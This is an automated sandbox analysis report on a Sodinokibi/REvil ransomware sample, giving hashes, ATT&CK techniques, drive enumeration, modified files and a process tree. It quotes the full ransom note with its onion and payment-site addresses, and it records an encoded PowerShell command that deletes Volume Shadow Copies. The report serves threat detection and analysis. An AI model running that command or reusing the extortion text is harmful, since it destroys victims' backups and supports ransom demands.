sodinokibi | 7559e6ca8b77400f88bf4e67208a1c32570a670068eccae9e3d226cc5471bd47

Resubmissions

05/02/2025, 06:51

250205-hmnx7swpgk 10

05/02/2025, 06:49

28/04/2024, 18:31

21/04/2024, 08:57

21/04/2024, 05:45

18/04/2024, 19:05

18/04/2024, 16:34

04/03/2024, 18:33

Analysis

max time kernel
1480s
max time network
1510s
platform
windows11-21h2_x64
resource
win11-20240221-en
resource tags

arch:x64arch:x86image:win11-20240221-enlocale:en-usos:windows11-21h2-x64system
submitted
04/03/2024, 18:33

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General

Target

bazaar.2020.02/HEUR-Trojan-Ransom.Win32.Sodin.dll
Size

166KB
MD5

3cd7e62bc197926278810ea5f6adff19
SHA1

ad18b4f27039aa3b3ca59b7b6d8ea5cb309d78a7
SHA256

2a28f11ca820bd0bde24d41cb5307c8f2fa70174536ac13a99923ba70015b36f
SHA512

214852706e4bb89464a92625e3594b19afe4c99157d1706493e4114ac5510a64d3af7ff88f09273c67ad3d20f1ead61e8740acc4147432c64755e9eccbac7c71
SSDEEP

3072:JLFrb30BRtBZZg+i2ayyYOCWGPyLydrkxMT3Q44CTrZmDa:NJ0BXScFyfC3Hd4ygmoD

Score

10^/10

sodinokibi ransomware

Malware Config

Extracted

Path

C:\Recovery\88zx08o-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension 88zx08o. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/33A76849D67C8310 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/33A76849D67C8310 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: kMjJ9I0nxMlbTjRFSR3AAXCdHjM7qUbO8zVqtpsHdB3AGZzPsCW3sJxO/nLG18Mv JpzjdiZamGYUf6Z4nIIvzF10m76P+veGbAtJUjZU0uth7b1PNEDk8AxCB1Zcq+nj E7CII8mhDvJg7S6wlR+semsoXb+zNRftPfiiNIFH4v+iaTFZq7AIvziyS63wR5VS H5C2QCmDMkhsWQj7Ou6IM1+bcqMQBGY2Kh2HUseaOBl0qTFu1NS1ZCRpwa7Rltxd +QyQD58nyp31sdYMI0AYWKFWmz8aMVoPsevx7+rUGPAlSjxTrcp+HobNQIMQBPlW 00cBxqcA8GKAk5K98TJrgESJ3zM6ugS81BAQFQRs08uKruMHCizEOeoJAoDFgVEe H2oFTxiF5JveUve4MSQXb2UFRTjJaOKGLQ2UjnEYMKerDoCUuuiA+zrVDDdlpOS0 nIGH89cd5ybCYNmCLuHTsY0F2tBvvaBGutZ3rFi3ExFjjasqsr+b0nNcPr7R/Iu9 cqAJayGYStzgdmnlx37/9ocDFSVfXXpo6tdfDyfWmXcSNcPxzMeGiaFXkvnb4k+l RAiAlXAfVVKD1xFst1q5Yv7U7rx1+skr/540s0+TdukVG31gDubSa6RzEpGAun1H 16Im0j1zYp9l064vW5Xsnnrr/E34eCEU2DBBktYh0Mr1g9NoCkERHDlYvwWZEruT SJewzjVdvN83O/DyM+Xr2LpeJUT5f8QdjYrl4f6QymnpJe/au+g5qbo1+wv0ao6a RDDedu9wAu916+2mlAQPVqmoLIY7fHw4vtwrB82p74M8SIuio9CgF1ewNAf3OqBF r6iarUIGNr2sbj8RPtQ2X7atLG45VvsaYzOlxRiqIZjPiccGCqrJNizzX+ap72ub HHW8ElIOwOVk3CHXK53XKbS+Tb+c3XHEX7VlG1sa/+I//Qn534HfdsB3ke/5HFa1 11d8SyU6Y/SchJ7cJa0BXVlgMf86rmJwrRw99+Fj61gC5189UU+JDBxTSA7XGMPe yzZGtCzA+PzCnRwxlytv4s0Oq4AGwri0/ObSBsccG8ZXPwMiqtAVlQkW27fwjOhk t4mZuzZYNEi0mu5JEK493X/hCHsVdVvdHZ//TyBVMa559oqOVmOzcLIhzgbwgGPB hVtEXZJAziAgSqAezXmV7MmDPnpwfanJyzWqEdd9NQgxsltLplUN+osgSqqRCYhb rZf1cIVOUQWUaWKtrek2kUPlNze7OG57Q3wZ5MO+32JBOY9+iXCA0t8SFXCHaOfH /t0Wv6w3MC8xf2AzLw+reaOvgrWvDWfd4j++xHMaP2NWXGDYJi3p3L3LeAIykFyo HWO1SJOYDF04/4yzWnheEXE0XTzf6b/9hWCmL5E8UHHjWaSkTGbY6A== ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/33A76849D67C8310

http://decryptor.cc/33A76849D67C8310

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\A:	rundll32.exe
File opened (read-only)	\??\E:	rundll32.exe
File opened (read-only)	\??\H:	rundll32.exe
File opened (read-only)	\??\L:	rundll32.exe
File opened (read-only)	\??\M:	rundll32.exe
File opened (read-only)	\??\Q:	rundll32.exe
File opened (read-only)	\??\U:	rundll32.exe
File opened (read-only)	\??\X:	rundll32.exe
File opened (read-only)	\??\B:	rundll32.exe
File opened (read-only)	\??\J:	rundll32.exe
File opened (read-only)	\??\K:	rundll32.exe
File opened (read-only)	\??\N:	rundll32.exe
File opened (read-only)	\??\R:	rundll32.exe
File opened (read-only)	\??\V:	rundll32.exe
File opened (read-only)	\??\G:	rundll32.exe
File opened (read-only)	\??\I:	rundll32.exe
File opened (read-only)	\??\O:	rundll32.exe
File opened (read-only)	\??\P:	rundll32.exe
File opened (read-only)	\??\T:	rundll32.exe
File opened (read-only)	\??\S:	rundll32.exe
File opened (read-only)	\??\W:	rundll32.exe
File opened (read-only)	\??\Y:	rundll32.exe
File opened (read-only)	\??\Z:	rundll32.exe

Drops file in Program Files directory 12 IoCs

description	ioc	Process
File created	\??\c:\program files\88zx08o-readme.txt	rundll32.exe
File opened for modification	\??\c:\program files\ClearExpand.au3	rundll32.exe
File opened for modification	\??\c:\program files\OpenUnblock.xml	rundll32.exe
File opened for modification	\??\c:\program files\OutExport.jfif	rundll32.exe
File opened for modification	\??\c:\program files\RestartCopy.xltx	rundll32.exe
File opened for modification	\??\c:\program files\SubmitComplete.TTS	rundll32.exe
File created	\??\c:\program files (x86)\88zx08o-readme.txt	rundll32.exe
File opened for modification	\??\c:\program files\InstallSplit.easmx	rundll32.exe
File opened for modification	\??\c:\program files\JoinResolve.xps	rundll32.exe
File opened for modification	\??\c:\program files\RedoSuspend.css	rundll32.exe
File opened for modification	\??\c:\program files\SelectFind.3g2	rundll32.exe
File opened for modification	\??\c:\program files\UpdateSave.xml	rundll32.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3872	rundll32.exe
3872	rundll32.exe
3856	powershell.exe
3856	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	3872	rundll32.exe
Token: SeDebugPrivilege	3856	powershell.exe
Token: SeBackupPrivilege	4788	vssvc.exe
Token: SeRestorePrivilege	4788	vssvc.exe
Token: SeAuditPrivilege	4788	vssvc.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 1332 wrote to memory of 3872	1332	rundll32.exe	77
PID 1332 wrote to memory of 3872	1332	rundll32.exe	77
PID 1332 wrote to memory of 3872	1332	rundll32.exe	77
PID 3872 wrote to memory of 3856	3872	rundll32.exe	78
PID 3872 wrote to memory of 3856	3872	rundll32.exe	78

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\bazaar.2020.02\HEUR-Trojan-Ransom.Win32.Sodin.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:1332
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe C:\Users\Admin\AppData\Local\Temp\bazaar.2020.02\HEUR-Trojan-Ransom.Win32.Sodin.dll,#1
  2⤵
  - Enumerates connected drives
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3872
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3856

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:388

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4788

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Recovery\88zx08o-readme.txt

Filesize
6KB

MD5
87b42f4f60ac6d529c3b6f989ad9c0da

SHA1
988b0b1714d15a628837f872d6f9b259da7f498b

SHA256
35697969b31f7badd922298a62484f7527ec35568d95cd31b8293e196e9996b9

SHA512
d35671ae1cb30fe239afd122c5ba261fbccb2e8fdae8de10200201f89d3115a961efa89897598a84fa9030c86215eb27871bda4633014ceb8dd47c37ccf97349

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rs03n1ey.r5s.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3856-8-0x0000020DCCC10000-0x0000020DCCC32000-memory.dmp

Filesize
136KB

Download
memory/3856-9-0x00007FFF63190000-0x00007FFF63C52000-memory.dmp

Filesize
10.8MB

Download
memory/3856-10-0x0000020DCCC80000-0x0000020DCCC90000-memory.dmp

Filesize
64KB

Download
memory/3856-11-0x0000020DCCC80000-0x0000020DCCC90000-memory.dmp

Filesize
64KB

Download
memory/3856-14-0x00007FFF63190000-0x00007FFF63C52000-memory.dmp

Filesize
10.8MB

Download